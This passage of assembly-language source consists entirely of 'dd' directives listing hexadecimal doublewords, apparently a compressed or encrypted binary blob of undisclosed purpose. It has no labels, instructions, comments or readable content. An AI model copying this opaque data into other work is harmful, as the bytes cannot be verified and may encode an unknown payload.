0E99B003Ch, 0FD4487Fh dd 0A9054775h, 6DBFB59Ch, 54083426h, 23A7804Dh, 1F5A41A1h dd 6F1607A0h, 642CD037h, 740044F0h, 0E8D0B510h, 0BED9E0h dd 0AAECA3FAh, 86167C2Ch, 3B00E2E2h, 0B19AB8C5h, 7ABB39Bh dd 0A41580DBh, 7C1FB318h, 8875CEB1h, 8892CC29h, 0C90D69Ah dd 48734A84h, 0D8B242D0h, 49217024h, 11E41271h, 6424E64Eh dd 116F2121h, 4D119308h, 104812E4h, 1C897D6Ah, 9A595180h dd 322F0E56h, 10EBFB00h, 0F4C70F5Eh, 0A43400FAh, 84D520EAh dd 5407DB41h, 717BA325h, 13E28250h, 0BC640068h, 17578731h dd 55EE77CAh, 20EB300h, 0D61B9FE3h, 0A7D5031Ah, 78888E9Eh dd 883F298h, 0B322100h, 2B4A0EB9h, 0D4DF00C2h, 6A3E1ABBh dd 9300535Dh, 1329D7CBh, 989A4Eh, 4B4C6C79h, 3F36747Ch dd 0B7005A7Fh, 70451F51h, 0F7E621h, 0A0C01BE2h, 0A6A3234Dh dd 500FB75h, 0DF135C72h, 862E5Ah, 0A7D21B44h, 0D5E42138h dd 0EDF11500h, 0DACD85C3h, 0BB953827h, 58DBC080h, 13C8D141h dd 3B27800h, 0CADE5354h, 60E800BEh, 52883B83h, 0F8246912h dd 250014A1h, 4257C961h, 2DDB0073h, 0D5B5ED65h, 6B00CBC3h dd 5F79BB33h, 2F6699h, 708E701h, 0C4DBCE3Ch, 0DDC25E03h dd 982948A6h, 6B5641h, 15F6CDD7h, 20F7A486h, 1251FF03h dd 389E5F04h, 0E87E4C70h, 2FE312BBh, 8A5F000Dh, 72394E91h dd 0E71F7F07h, 0B9E2AE74h, 28A080ABh, 28D9BF45h, 8C6BEEh dd 49E56594h, 38F0BE61h, 7C4C4676h, 80373C64h, 4710F90Fh dd 0AA753Ch, 177B8A5Bh, 12A721Dh, 0C23A61Ch, 73D57682h dd 71D26066h, 0C5CD0068h, 0B27DACC1h, 0F4004A56h, 4D666089h dd 727C7562h, 29D4A0F3h, 929F1CB1h, 9982808Ah, 864A676Ah dd 4607812Eh, 0BD42CC00h, 4970DD59h, 65383844h, 0C736B782h dd 0F7E04D9Eh, 8F07F083h, 9D06F27h, 1FDA803Eh, 712DF4h dd 979A7B7Fh, 5A17DE68h, 6CEAF04h, 0AC031ADh, 0A9FBC2h dd 9AE676FAh, 0BBDFFE43h, 2F3AB500h, 4CD91827h, 0C052B03Dh dd 69F2A4C8h, 0AC3C1211h, 40F09F58h, 8DD34AC0h, 0B1333Eh dd 91535E71h, 0AF66B0E1h, 84F17A02h, 80388B14h, 50BED7D8h dd 23B40020h, 0A0F012Dh, 0EA00E509h, 47DAE666h, 0BAC648h dd 0E74022DFh, 0FA20FB37h, 0FF16961Ch, 0DDBC7980h, 2CFD235h dd 9130CBF5h, 0E3E07B9Ah, 0BF006893h, 1FF2FE10h, 7D5D970h dd 2B31CF8Dh, 9094F405h, 57FCBF00h, 6985B410h, 0B19127Fh dd 2DC8000Dh, 0AA778B0Ah, 0E24C6300h, 182A693Eh, 0DDBF0726h dd 0C04FDE39h, 3A9C30D1h, 5683B703h, 0A8D838FBh, 26F6D0h dd 878A555Ch, 0FCF7819Fh, 643F9106h, 220849Dh, 2AF8F3EAh dd 8880AD43h, 9A40FC46h, 5F96D400h, 76D8777Ah, 5663004Ch dd 0CE2C583Fh, 200FF5Eh, 9215C198h, 8F774Eh, 0BD96B1F1h dd 9B03B34Ch, 1790B9F4h, 0A000A590h, 169F5B02h, 3E1DFD2h dd 0C88A2E7Fh, 4BD8052Dh, 9701C5D0h, 0EB06CB88h, 15E863F3h dd 48FBE460h, 760486ECh, 8361DC83h, 0F5D80A00h, 1400051Eh dd 0F433CB3Ch, 0CCC6F9h, 681F46AAh, 2E7CA1CEh, 0D11D04B8h dd 0A400718h, 94F21965h, 12F90B10h, 1580C075h, 917EA7D0h dd 0A678E912h, 364AE000h, 9A6372B2h, 39040078h, 5E18A787h dd 0B900C46Ch, 52244C80h, 9C040h, 0B4A05BECh, 0C87F3E86h dd 611CAC00h, 59F73F67h, 0F1E50013h, 46482B20h, 0FC0037FBh dd 0D1E38B3Dh, 0E65EBAh, 0BF2F1C30h, 0C363CECDh, 311EABF2h dd 0FFCA21B8h, 8E00C85Fh, 7C6E06C9h, 0C7E200B4h, 0AAE9C660h dd 0BF139D34h, 851D225Ch, 473EEC43h, 2C81EC3Dh, 7371BED4h dd 0E6311450h, 0A0F607h, 59B92693h, 0C0CAAC16h, 0E2CBC100h dd 140E7885h, 937E008Eh, 0AFDF0CF3h, 69007B89h, 5B34E67h dd 5310A1h, 739AFE24h, 0B0D9AD78h, 45000BECh, 8740F749h dd 0FEFCDA6Ah, 0F4E8000Ah, 2B0358FFh, 0E17A247Dh, 38047800h dd 39ADBE76h, 7AA50227h, 36821D89h, 70F4040h, 0EDF80800h dd 46D9E56Bh, 0BDC11351h, 9380002Ah, 727E903Fh, 0F8DB1700h dd 0D833700Fh, 0CED50322h, 0F4B05EB7h, 88A5C0B5h, 682484ADh dd 0D684C849h, 0A0C81F4Bh, 0ACBA0031h, 8C8A8F97h, 7D39707Fh dd 0E22E9373h, 63CA480Fh, 0A8BD9E1Eh, 71BBD7h, 0F0816C5Ch dd 0CBE611D6h, 6E828500h, 8FAA0C6h, 0C8FE0022h, 0CF621EEDh dd 0FC0073F6h, 680AEFDh, 0D19C2Eh, 8EDD9F51h, 75BD2D4Bh dd 90526A09h, 37088073h, 1E72630h, 8A4C8C38h, 34639295h dd 0B1427E6Ch, 0D7E93800h, 0C51F2B9Eh, 0A906EB09h, 5A78A04Dh dd 0AEFA56h, 3A6CD14Fh, 0DF1E5EE2h, 0D012AA00h, 6E494033h dd 4EE667h, 2B1DB424h, 16610E2Eh, 832C2300h, 0ECEFC4CDh dd 0F8D47B1Ah, 3CEC46h, 0F9A00D63h, 0FB8FD367h, 56870100h dd 11145F22h, 71030010h, 0E3639AF3h, 0DE00E5E8h, 0C428E9CCh dd 7D147Eh, 3CEA47AEh, 9E0B21F8h, 5021539h, 32DEB97Ah dd 0B650DC40h, 3624FEEh, 84AB9F30h, 808F8E90h, 446CEA6Fh dd 47C9D000h, 0A4DFA837h, 0DD7205FEh, 8C036BB5h, 0F300B7B8h dd 77B1AA80h, 0FCE6B67Bh dd 0C1D800DCh, 0BB8D3969h, 0AD9809ADh, 42501E00h, 64D6FEF1h dd 68B848F8h, 6EC54400h, 0D968D55Ch, 0B3F33F2Eh, 0E239B000h dd 0D25765h, 415ABAC4h, 7A1E502Fh, 0B407EFE0h, 16BC3052h dd 0BADE2660h, 0C2400082h, 4C7746D0h, 4E01D3A9h, 4B3251D2h dd 0BED81EF3h, 7297047Ah, 823B46F6h, 4440937Ch, 0DF077164h dd 0C5D14569h, 32AD3930h, 0C31E0022h, 9BFE0214h, 0D0907C56h dd 0B65CAF0Eh, 0D23B205Ah, 197034h, 31138FF1h, 0D5C5ECFFh dd 48A17C90h, 9ECCCCABh, 160B9500h, 1A6C397Fh, 0C5200C9h dd 714ABADAh, 0DD00AB4Ch, 0BEB4D613h, 0B7410Ah, 7609AC45h dd 59EC1A77h, 0E00070E8h, 9DD05F6Ch, 41B45Eh, 76845B46h dd 0F30DF05Ch, 4F56B000h, 0F6D4C670h, 0B8B1F05h, 686A80E3h dd 0EF15144Ah, 0AFAA87Bh, 277574Ch, 3E31B481h, 0A8A1C319h dd 7B28C59Fh, 0E4E0B5h, 0E9DF9A2Ch, 7B4AAB3Fh, 5237DA07h dd 0F520B2DBh, 80C8B7h, 59EBC3CDh, 0C484B69Eh, 55F23Bh dd 0A4CB6267h, 1CB12737h, 0E2C113h, 0CC0991A6h, 3500D414h dd 0CEC2F612h, 48E6D545h, 0AF005816h, 89A12483h, 3E1205A3h dd 8840CD6Ah, 1FF636EAh, 16970008h, 0F818CA77h, 66E6EB13h dd 4257E0FBh, 39ACD400h, 9180AFA1h, 450C1207h, 0B3580273h dd 4851F3ABh, 0AE955B60h, 0AC2A009Ah, 8E492706h, 0E49837E8h dd 0DF847328h, 0CB663900h, 97D440C5h, 0A75D00AAh, 4F09184Dh dd 0F2002387h, 0B6E60ABDh, 1A072E8h, 0EAA97181h, 0F4C1BC01h dd 9500F319h, 58A61E0h, 8FE91Bh, 0EBA52C28h, 5A540CC9h dd 3C6DF07h, 41196AA8h, 0FE002B68h, 0B400063Ah, 613CD71Eh dd 20E5BBh, 81B3A5B9h, 0ACAA3565h, 0D7C6B200h, 4C6D92A1h dd 0E72D3F10h, 6B52D683h, 7DD03C5Ch, 0C7041971h, 602E38EFh dd 45FF6CA0h, 0CCAB61BFh, 39032CE2h, 4E91898Ah, 0CA6E0DBh dd 741500FDh, 0C8370F16h, 0D500A3C9h, 0D18083E8h, 7B8A5Ah dd 3DBCE23Eh, 0EFDB3C56h, 0E06F0C13h, 1422030h, 0B4BE00EDh dd 3BD7BF39h, 6F0036CEh, 0EBEFEE3Fh, 17E62C5h, 21D91788h dd 0E4FDEC16h, 0B30079F4h, 19578928h, 25DD8480h, 0E4DE4A22h dd 17475403h, 689AD0A9h, 0D590BAh, 6561D0B1h, 74846B96h dd 90009978h, 634FE2E4h, 2E915D6h, 952627A7h, 0B480A2C4h dd 2EFEF286h, 0CF0F9F00h, 0B335408Fh, 1A64016Bh, 3CF5C8A8h dd 848DD488h, 28060C00h, 0D2F0ED9Fh, 0C4CB0082h, 0E3AD60E8h dd 85053B8Bh, 243520D7h, 378A3CC0h, 1C0484FAh, 7EC65E60h dd 0BE59CCCh, 89B19DFBh, 715A9D80h, 1009482h, 0A6FF33Ah dd 1C9C33Ch, 5D413566h, 21095F2Eh, 5160CCDCh, 11834E30h dd 0AF5F0h, 0C00B15F6h, 0C9E904B2h, 0DE386713h, 0B75C0B00h dd 404DCCh, 1252975Dh, 0E9787C0Eh, 56401560h, 4F42B4DBh dd 3BDC023Ch, 0D640F1F7h, 0EC000D5Ch, 0C13FAF5h, 12A8522h dd 0B8D835DEh, 205F47C5h, 48030100h, 40BBD51Fh, 0DD58B8A1h dd 74E7022Eh, 675721ACh, 0EE35867Fh, 0D75A0731h, 80526424h dd 9ECB344Ah, 0C720721Ch, 0AE043E00h, 14A3E2h, 0CDFA250Fh dd 291FB5D5h, 96EB3201h, 0D89A793Ch, 0FE83420h, 45BD066h dd 0C2A8FBE4h, 0F0C3228Fh, 249A8A80h, 6CDC700h, 0D0105898h dd 0A6D40268h, 0DE6C32B7h, 28638D80h, 0E2030B23h, 0D4C5948Fh dd 6BA380B2h, 622E00D9h, 40EBD05h, 4B00AD26h, 0C7982470h dd 484ADE86h, 133FA428h, 0EDCC0079h, 0CEE9A957h, 7D00C561h dd 0A3227FAAh, 2602AC83h, 774DB43h, 334737DCh, 80C51ACAh dd 1E08F860h, 268F64Ch, 0A170B3F5h, 0F5C6076h, 61E490h dd 0C024D6CAh, 8C1F0912h, 8AFC0400h, 84EBD43Fh, 6C7B0085h dd 816465E5h, 51003AD9h, 483833E2h, 3BB2CC16h, 2C0E422Fh dd 537ABAh, 0B64F4B84h, 0D05050B0h, 2A00E6A4h, 9C53F0EBh dd 3EEEE0h, 3BA5E4D5h, 6E746F81h, 1DD0305Ch, 85C77F02h dd 49E1A0CCh, 742813B6h, 82590078h, 6AFA29DCh, 8B7A5C72h dd 33F639B8h, 0E03C7300h, 60F28EB2h, 5AC30085h, 3F466B61h dd 99004235h, 9420FF6Ch, 98D2CCFCh, 2F2E0F79h, 8EE076F0h dd 0BFAD7C23h, 7712A024h, 45920607h, 19649A10h, 0DD9002FEh dd 1708759Eh, 0AD47E460h, 46B55E1Dh, 223F6040h, 0A00AF18Ch dd 722D05B6h, 190660A7h, 0FCE9457h, 79112863h, 0C013EAB2h dd 46D3979h, 2C6B1A03h, 0EE18C0A0h, 570B06CAh, 80F7E787h dd 93DB0D8Dh, 0B032004Ch, 90545D70h, 0AC2D75D0h, 48202015h dd 0D4AABAh, 0B588D11Ch, 0AD63F3BBh, 1D057F09h, 0B2188026h dd 322240h, 0BBD324DAh, 9033B6BCh, 0A8FD48h, 687FDE29h dd 3E7962F2h, 4E802CAFh, 0FF4BCAB9h, 991E2BD9h, 0BF00E8EEh dd 0A2E1BE68h, 94251C4Ch, 9BF4817Ch, 21F7015Ch, 47C02039h dd 213C4407h, 2230A4D0h, 0E98F9F1h, 923F69Bh, 0AC0002AEh dd 160D42A8h, 0D07EE8E8h, 9A89FC09h, 4098C062h, 68A30061h dd 5D3FC45Ah, 9B26861Eh, 5B005890h, 51CCA449h, 8FDE2AA0h dd 60930090h, 379AA2A9h, 9598ABC3h, 145AE21Ch, 600183CFh dd 470BF293h, 8F9E0066h, 0C6A0C2D0h, 0DE0008F6h, 9514CA3Dh dd 0C9BA7Fh, 56A547C0h, 0FC67AC1Eh, 24F3FD00h, 5D4DE6Fh dd 0CFBC005Bh, 0D2BBFDAh, 0F905655Eh, 0F8138E22h, 0C6C9A780h dd 9AD9011Bh, 0A6D88D2h, 0A9A2C017h, 9244AC00h, 29AA3D64h dd 237862h, 0F62A5D8Ah, 87F67A3h, 0B842109h, 6698A4B0h dd 5B325380h, 0F570B8Fh, 2063383Ch, 22002BBFh, 6EA830FCh dd 1AD8003h, 0C8509FBFh, 7B7086AEh, 0DE01C44h, 25BB4063h dd 0A9F9D89Bh, 0C7020E00h, 389F3F8Bh, 0AAB207A2h, 0A1A4EB9Ah dd 0C8819D1Eh, 0E70014FBh, 718341B7h, 90C08072h, 0B42C00D4h dd 52A66722h, 37074A25h, 77D086FBh, 0B24D73A0h, 1C0D0028h dd 543843D8h, 0FC01DEE5h, 60B008C9h, 3DEC59B5h, 4A200EEh dd 0CBCD5C66h, 8803D645h, 0DB5BF74Dh, 0DC93E092h, 70590990h dd 49809B10h, 0F83AD14Ch, 5DE8161Eh, 0BE201BC3h, 6B2BA0D2h dd 76A90245h, 299BD513h, 0BB4ED4A0h, 440066B5h, 3C9793A0h dd 396BD5D3h, 0C383C2C5h, 0F53E80BCh, 0E5CCF8D0h, 26B1E209h dd 739CE12Dh, 0BF0F542Dh, 0B9DC2549h, 13071980h, 7523FE02h dd 7BDEE200h, 53B35CFBh, 0C63C044Fh, 0F41BFA32h, 7039114Ch dd 4CDF8033h, 0D37BCFE5h, 8CB01302h, 2A5C88BFh, 0C7EA24E2h dd 80CA403Ah, 6BA2B0D2h, 92553Ch, 8AFE184Eh, 0DF6AC1C8h dd 81EB7D3Eh, 0F90514CEh, 0D4302189h, 90FC80h, 8CE6D919h dd 0B2202AA9h, 36B7F000h, 307CD318h, 0E1F0959Ah, 391A2C2Eh dd 0E880031Ch, 6B1D35F8h, 3A141827h, 676E92CDh, 86EF0C19h dd 5BEC6502h, 0EA440357h, 0FA566136h, 0F00871E8h, 9523311Eh dd 11470746h, 0C6A93D3Ch, 59148F18h, 68B25E0Eh, 65539E01h dd 5AB4616Dh, 0FBD872FCh, 0E91830h, 0E155643Dh, 42BFA8Fh dd 205A300h, 15247D29h, 34CC003Bh, 0C3DC4AE5h, 0B03E50B8h dd 40B3AFCFh, 6032C7Dh, 33DA825Ah, 0EB901039h, 81076A00h dd 9B926D05h, 27DD3030h, 39A3A989h, 0E10F2301h, 0E0F72511h dd 2E4A26C0h, 83E0F0FBh, 7F321DAEh, 5033078h, 3BF8242h dd 0CB690062h, 0F1163A1Ch, 8C3014BDh, 9F463090h, 2300C37h dd 0BA602784h, 100FE275h, 80078AC3h, 34DCA27Ah, 0C654A035h dd 0C2AC3E92h, 91210831h, 0F37F21A8h, 52E030D1h, 1704425Ch dd 0FF04E01Eh, 0EFFB4925h dd 80691F20h, 8B2BB00h, 5EEA9919h, 43F878h, 16C68F66h dd 0A44F2E0Ch, 3F293Eh, 0B1192DBEh, 74065A2h, 7F2172EAh dd 0C47C20B3h, 0A000502Eh, 0C191E557h, 3AAC2F4Ch, 4280EDB4h dd 6CE26FA7h, 1C00130Ch, 39F8D295h, 65C33251h, 3AAEE1B0h dd 470FBA04h, 0E2E0CEBCh, 86A9AB3Bh, 9FFB19C0h, 82E98Ch dd 0AC96251Ah, 0FD1580E0h, 551B8400h, 0C7E5CFFh, 250A007Fh dd 7B51B366h, 99301D15h, 37C961A4h, 3E8A02B4h, 0C61078F9h dd 20B0DC44h, 0CB38CCF0h, 0F6D80B0Ch, 1C2580D3h, 13D0DABh dd 270E14C1h, 0BD43A355h, 0F8DB87B1h, 94D0D666h, 1D04531Eh dd 91FD68h, 44FE1BCAh, 0C2269D90h, 0B7007462h, 59C0939Eh dd 49B600A2h, 0FF2A768Ah, 0B8C08D4Ch, 0B2BA11B3h, 93A40D4Eh dd 0F07C104Fh, 0AE30F9B5h, 0FF8F18CEh, 95530CAh, 4D1CEE30h dd 0B5913B60h, 61825611h, 69FF4053h, 0B728830Dh, 16CBD2F9h dd 40C23340h, 0C1D4E3A0h, 3B06DE1Ah, 5D2F9074h, 0A4B50A31h dd 8FFA9h, 1C683C3Ah, 3B2611C5h, 31004C2Ch, 2B480BCCh dd 9B6B0A7Dh, 80C8B086h, 27E4BB17h, 9E007401h, 0DF1068B7h dd 6CBC2F92h, 0B2A8E88Eh, 0F390CA60h, 0C1A8F44Fh, 2721C1E8h dd 0FB60872Ah, 31AD4037h, 80501AF1h, 93ADB231h, 452AE024h dd 0F7011FBEh, 1910B741h, 2BF1B649h, 0E7BDF0h, 0E8C78C24h dd 10DE9E21h, 0CF6AFA00h, 0DC52047Ch, 4C1C01ECh, 412024D7h dd 3EAECCCAh, 79CF3330h, 7748F4h, 71234D60h, 4C07640Ah dd 2446101h, 0FCC3C26Ch, 0BCCD90E7h, 0C599CBA8h, 0F89E7441h dd 47012980h, 0DEC31C45h, 0C7C17CB1h, 0D448C062h, 92387B00h dd 0ABA25A10h, 0FF601892h, 7B0AEA21h, 762B008Ah, 46B5F9C5h dd 2E005571h, 17284B3Ch, 24D9BB16h, 4866Ah, 1F38EF2Ch dd 4F480B6Eh, 2A7D0388h, 2C11DCB5h, 40C86380h, 1C41BD03h dd 293BDD07h, 7DF0608Eh, 28A7E15h, 0F501C337h, 18400C6Dh dd 0D514B89Eh, 0F1206FFDh, 1E18E151h, 0AE43100h, 5629C227h dd 91E8A0D9h, 9E171D3Ch, 7C3A91DBh, 1368750Bh, 2D10A4B9h dd 3848A093h, 68806D21h, 0EA1FE687h, 644DDCF8h, 4CA49C00h dd 9F960B05h, 0C200C05Fh, 0CF250841h, 1D3919E0h, 81B508E7h dd 41DA5D21h, 7DF8579Eh, 117DC7h, 1C3B603Dh, 0E546A835h dd 0DE48D600h, 8D3F0ADBh, 8CB4932h, 40816E1Dh, 4C7C368h dd 0A5008E2Fh, 18FC0C3Dh, 2E19315Dh, 3A041D06h, 0FE7A049Eh dd 78D79E14h, 17683980h, 448C4AB9h, 710FF946h, 20C8EF68h dd 0A50B6D4Eh, 0A05F7197h, 99AF1EE8h, 9FAC801Ch, 519629F2h dd 7C82848h, 336FAE23h, 0DC902069h, 74C0DF12h, 27820C03h dd 0D208F9FBh, 0AC1D1C0h, 600DDFh, 8B16FCFDh, 0F8E8DF9h dd 7E703F62h, 11B0847Dh, 1241C060h, 11BF2523h, 0D85F00B1h dd 0CBF24F41h, 35CC1249h, 8714011Dh, 80526F7Eh, 6D0C1C58h dd 181812C1h, 91471DA2h, 9CB9967Ch, 0A81C243Ch, 2E111D98h dd 363F00F4h, 0D39A8AAh, 0FE0EEB99h, 8711950Bh, 0F523B53Eh dd 8233A0C7h, 0F180D8A2h, 6D2792Bh, 0FBACF800h, 9898C31Eh dd 0C0B954F4h, 65713EE5h, 4763F12h, 30C6FDD4h, 23757B14h dd 6080892h, 0BEB037Dh, 0DB80F87Bh, 8E2831C2h, 0B41FD0AAh dd 5E80056Ch, 0D835E816h, 75F93FF5h, 9A5A8080h, 0C6600C72h dd 53491563h, 3075E8FEh, 0BC075063h, 0AC73F822h, 0DF0E04E8h dd 623203CCh, 6C520CFh, 0CB15AADFh, 0A4B098h, 5BEAFCACh dd 0CCD724h, 0EB53DEC1h, 82938ABCh, 99FDC801h, 2F1F449h dd 0A9BF820h, 74ADEA5Bh, 0DF13403Ch, 2A4603CDh, 0BE00D322h dd 0DC15DF0Bh, 96447A9h, 0D221B91Bh, 6DABF0A0h, 0D701D194h dd 16D6C2F2h, 2432AF89h, 796917h, 0D46B1F00h, 0DA6021B8h dd 0E83CF939h, 0C82963CAh, 982371CFh, 0DF08006Dh, 830203C2h dd 0BB677091h, 0C115E000h, 0AE0500B7h, 5E85417Bh, 0B28048C7h dd 5025F1F4h, 0F689E030h, 0DCF62821h, 0C0E951E0h, 0CF88380Ah dd 1B909BC0h, 4A701Dh, 0F534677h, 49B599EAh, 410834Dh dd 1B585CCBh, 81C9C608h, 52B91EC0h, 4C221036h, 6874FC00h dd 908F32B6h, 7FF82E37h, 7C9B5328h, 176098D4h, 923C7B04h dd 602D59F0h, 0B5017B6Ah, 0D9B91DE3h, 4072D822h, 18C5A899h dd 3068653Bh, 0FB54281Ah, 0D568731Fh, 8B0971DEh, 91849717h dd 545A8052h, 2E0E48Bh, 39628850h, 98441E3Eh, 6437910Bh dd 219CA1B4h, 8205D992h, 8C607DB8h, 0F4A053DBh, 3D20BD04h dd 0FACA12Ah, 0BE026836h, 0AF251441h, 6110B231h, 510641D6h dd 381B9687h, 0C2CE2550h, 86273420h, 18C14E77h, 0B81BC3Fh dd 0B16FA420h, 7D03D0F8h, 7A200286h, 0D892825Ch, 6ADA060h dd 0BB4650C3h, 6B2B92ABh, 0AB04C320h, 0ED02324h, 1341CD01h dd 0D033B725h, 41C56480h, 0B50429F7h, 0E2CB78FBh, 531C481h dd 59660034h, 284C38EBh, 7017023h, 0A03C1DFh, 0BA800433h dd 2A96DFFFh, 48F8A903h, 0EBAB0D58h, 0FC410781h, 0C210049Dh dd 0DC8EB060h, 12606056h, 762811B9h, 0C30FE4D4h, 40BD663Dh dd 0CBEEAEF6h, 1D1C0E0Ah, 37A09253h, 772CFF90h, 25480C60h dd 0A754BF96h, 60D8445Ch, 0F07C6Bh, 0E64C2133h, 0EC499AF1h dd 1C29A124h, 838FAB06h, 0BACD2951h, 111C24B8h, 24D9887Eh dd 0D5465CA0h, 0F5783C04h, 0B26080AFh, 22038B46h, 98622321h dd 0FBECC080h, 18821C69h, 43B925Fh, 30C6FF30h, 7F377B1Ah dd 1448C92h, 7B1101E9h, 0D2C9131h, 0B7C0F285h, 9202AA6Fh dd 0B870EE77h, 26004513h, 0D3465C40h, 83B73E00h, 98A95C0Bh dd 0AD94A554h, 0ED3C1001h, 69E0FF13h, 8A8861F6h, 6E886072h dd 0C3DF05C0h, 9CFA5303h, 0DFFDBC80h, 0A726CF2Bh, 0B8023421h dd 58E1DA29h, 78FF24ACh, 0D07C9410h, 0AC1DD5CBh, 0A98ED811h dd 8F0AB660h, 70092B18h, 0A042A327h, 0BBF00558h, 0B33E006Bh dd 37B6E15Ch, 0D5120235h, 20122B75h, 7340C8h, 0DB139397h dd 9FD06D32h, 10B78027h, 60E67A1Ch, 70FE11B8h, 0FD74AB1Ch dd 5CAC4894h, 0C3610830h, 0F9460744h, 7F380612h, 1D46F93h dd 1CF7124Ah, 30383C02h, 0D54285h, 884F2998h, 34B10DAAh dd 11701769h, 0D4288004h, 2AAAF471h, 3BC07E33h, 4F017416h dd 9821C459h, 3097DAF3h, 66800691h, 0F9B90B31h, 0A8DA9632h dd 0BC40CB2Dh, 1A683860h, 9672B925h, 70713Ch, 0C5F84F68h dd 0D3E48AB0h, 0C73DB500h, 9CFF926Eh, 8C0D59B6h, 7601DC23h dd 62B91468h, 6E894718h, 17D68C4h, 92A9F8E4h, 305C5E42h dd 84CD534h, 96107DC0h, 0C6034DDFh, 0DD5A2138h, 0A034C82Dh dd 0BA3DF280h, 893203AAh, 0C303656Eh, 2A436914h, 24029298h dd 442B2780h, 0C143FA0h, 0AF12468Ah, 346D6E4h, 8945C00h dd 26AB1A3Ch, 86E03100h, 6A216032h, 4120B9CFh, 0A1112743h dd 0A81FC41h, 0A459BDEBh, 4932F030h, 0B87DB8C9h, 4E860157h dd 0BDC4BA13h, 0DBF030A2h, 0CC58AD42h, 158CCEB8h, 0B0D1E3C1h dd 0D046B1C0h, 2F016EF0h, 0AB7649CBh, 598582ACh, 903D060Bh dd 4754B0B8h, 3A1E4602h, 20AF98EFh, 83FCF835h, 69ED0703h dd 90FDBDE6h, 2791C65h, 80C37D99h, 0B8BAAE6Dh, 4C4DC45h dd 2889D660h, 1F48A300h, 0A22FBC46h, 0A73B04E2h, 0B4447F5Fh dd 6E1727D8h, 7C215D63h, 28092B11h, 8CB3ACE4h, 8BFB1A0Ah dd 3826D063h, 18800911h, 0E892397Bh, 88705943h, 7B1F0FE7h dd 6C7FC4Dh, 3FE07AD2h dd 43ABB1h, 0F8F66334h, 0D7E2D962h, 0D009D899h, 97AC0BAFh dd 804B918Ch, 3D790AA3h, 0D0BC5CCCh, 22DC1D93h, 0C261B4A1h dd 94C64407h, 6CB252B0h, 0A13105B2h, 0FFFF5DD0h, 245CD9E6h dd 954900EFh, 0CD6CA803h, 8097B925h, 0DF768760h, 0E4149463h dd 0D82B176Bh, 0C9000323h, 0EED8E607h, 0D4AB0C96h, 46500301h dd 57808D00h, 59B0AAF9h, 0E1B34C38h, 529E271Dh, 0EC144240h dd 7C5AF94Dh, 31B87404h, 0DC8ACBF2h, 1A29B702h, 0A4685384h dd 706DEBAh, 1B55C504h, 9BCCA070h, 2DCE8064h, 0DC968C90h dd 0C1D0FEC7h, 0EBC9B4Bh, 19799C87h, 10D10BC5h, 0B1031895h dd 82577A84h, 0F35C7FA8h, 7489B400h, 80B579E0h, 0AECE01EEh dd 5B962713h, 0E470894Ah, 0E1904BBCh, 10342F8Eh, 0C031031Fh dd 0C3F3E7E9h, 5F40E5F0h, 80786093h, 9C1B00CAh, 62D25B5Eh dd 0D14D325Ah, 6768002Ch, 72E865DEh, 0C40C00F5h, 6E4D108Ah dd 0BD0EB5D9h, 9279B44h, 61084D23h, 80E25365h, 1D1BC208h dd 0D7FC5F5Ah, 1706E50h, 2D54387Ah, 34D0C846h, 52492DF0h dd 0B491A017h, 4DBFB183h, 4023859Bh, 41CC0315h, 61CC250Eh dd 63002B7Ah, 3C1341C4h, 4CFEh, 0E2F91D54h, 438E3F25h dd 7188F0CCh, 0CEDF14C0h, 98225303h, 0DF0CBF80h, 61028AEEh dd 0E73EB50Bh, 8514D97Dh, 8833D6FBh, 940063A0h, 903264BCh dd 4DA3CB6Eh, 71243Fh, 1FF28765h, 5CBB71BEh, 77A9E300h dd 33574FB3h, 0CBD60E74h, 0B581C31Eh, 2150FF3Ah, 0E0E6E210h dd 0F6B9121h, 49C43CDDh, 5DACA78Bh, 39FA874h, 900F3285h dd 0E1BD3C4Fh, 69863A4h, 0A0C43791h, 20E0B018h, 0DCA0D95Eh dd 5CB936EBh, 64C4454Bh, 6445604Ch, 4792181Eh, 0D9AD6954h dd 3CCB2620h, 0D885FBECh, 0C2F89F19h, 0E497223Ch, 0C080D391h dd 0D2ABBC6h, 0F4305A00h, 673C36DCh, 2F7C4A90h, 452370h dd 0DF2A41C6h, 84980EFDh, 8443720h, 0F021F44Ah, 1B8E8702h dd 209CC443h, 0A8982931h, 13615722h, 4143DF5h, 0D018C538h dd 0CC49DB24h, 9800595Eh, 0D82F9038h, 20D0A4A6h, 0B60732BCh dd 0DCB5E63Dh, 1A14A66h, 0D6C1557Fh, 0DCE90288h, 0D019CC4h dd 70AF4110h, 9BFCBC23h, 313663A3h, 4EB0E982h, 98508053h dd 800A2D8h, 2BABC734h, 2E31AF18h, 4434A77Ah, 7B1E600Bh dd 0F892133Bh, 108A59h, 3A7B15D5h, 759F0FB7h, 22890061h dd 0C48B6DABh, 0C9C4A6F9h, 14B4FC1Dh, 231EE1Ch, 926EA083h dd 86759D8h, 182CB442h, 0C7488727h, 9B9C00ACh, 0B56E182Fh dd 2E770249h, 0A9243790h, 310A4058h, 7053831Ah, 4465Eh dd 7AD96AE5h, 1FBB580h, 497CC1ABh, 621A25F4h, 0B43A9268h dd 0C500D423h, 394D6EB7h, 65C10980h, 0EC4CDDFBh, 97181225h dd 81461148h, 4CC4EBBAh, 7C030F8h, 5A5CE5EAh, 0AEE620B3h dd 34072FFAh, 9CE0271Dh, 94F4A5F3h, 3C0BACC1h, 0D490FC62h dd 0C3010C23h, 0E7250541h, 5EB01C68h, 0FB0041DBh, 0AB351C4Ah dd 642B9685h, 0A24858AFh, 0BC345C48h, 0D1E88CB2h, 0E633B50Bh dd 0E5186252h, 6151C400h, 0D0C4E238h, 0F09100E9h, 0AB3C5F86h dd 1E898096h, 0B59F3F4h, 0FC71BD03h, 936180A0h, 512E27D4h dd 6365CC46h, 18818CEh, 0E17597C0h, 0BFDF0134h, 8FAB2E14h dd 41A311CBh, 0F37AB180h, 0EB1C66B6h, 0D33AA07h, 95826776h dd 0D58CA0A7h, 0E6C0Bh, 56F9E2A5h, 0B8F88024h, 79A112Dh dd 0D229CE90h, 0B1BE00B0h, 15FD5BBAh, 0D183D9Dh, 34A191B0h dd 0C740A0C8h, 732301E4h, 0B40D5857h, 4033D11Bh, 0E0190C10h dd 34EF503h, 0F98CBE90h, 0F1083288h, 8038913Ch, 0C29DCD45h dd 0EBFDB0Eh, 9EC31DCCh, 271C019Eh, 72961843h, 0F5D660ECh dd 2030DAh, 692AD786h, 899281A9h, 0A5744C00h, 3D0DE7B4h dd 461B4ECCh, 41A6959Ch, 0F4253200h, 0EE05A2C7h, 74D0BE7Bh dd 50241846h, 7E1F3AF8h, 0AD842462h, 0B491089Dh, 0C8CEBF81h dd 5A7C2347h, 64C30412h, 